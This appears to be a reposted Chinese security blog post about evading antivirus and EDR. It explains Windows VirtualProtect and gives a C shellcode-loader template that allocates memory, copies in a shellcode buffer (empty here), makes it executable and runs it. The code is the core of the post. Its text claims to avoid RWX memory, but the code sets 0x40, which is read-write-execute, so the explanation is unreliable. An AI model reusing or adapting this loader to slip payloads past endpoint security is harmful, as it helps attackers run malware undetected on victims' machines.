免责声明
文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任
前言
众所周知:AV/EDR喜欢扫描具有RWX属性的内存区域,所以我们使用RW-RX
所使用到的函数:VirtualProtect:
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
上面是函数所使用到的的参数。
lpAddress:指向要变更保护属性的地址起始位置
dwSize:要更改其访问保护属性的区域的大小
flNewProtect:更改的内存属性
lpflOldProtect:内存原始属性保存地
#include <Windows.h> int main() { int shellcode_size = 0; BOOL pt; DWORD oldProtect; unsigned char buf[] = { }; shellcode_size = sizeof(buf); LPVOID shellcode; shellcode = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, 0x04); CopyMemory(shellcode, buf, shellcode_size); pt = VirtualProtect(shellcode, shellcode_size, 0x40, &oldProtect);//这里我们最好把权限修改为40,使用20会报c05 ((void(*)())shellcode)(); //pt = VirtualProtect(buf, shellcode_size, 0x40, &oldProtect); //((void(*)())&buf)(); } |
通过此代码的思路,我们可以想到是否可以将内存属性修改以后将shellcode复制进去,以达到欺骗杀软的作用。
当然我们直接使用他来免杀是不行的,这里我们可以有一个这种思路去配合其他方法来达到免杀的需求,更多时候我们需要灵活的思维,去应对不同的实际环境,实战环境很多时候我们无法预测,灵活变通才有好多的效果。
原文始发于微信公众号(泾弦安全):免杀 修改shellcode内存堆的属性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论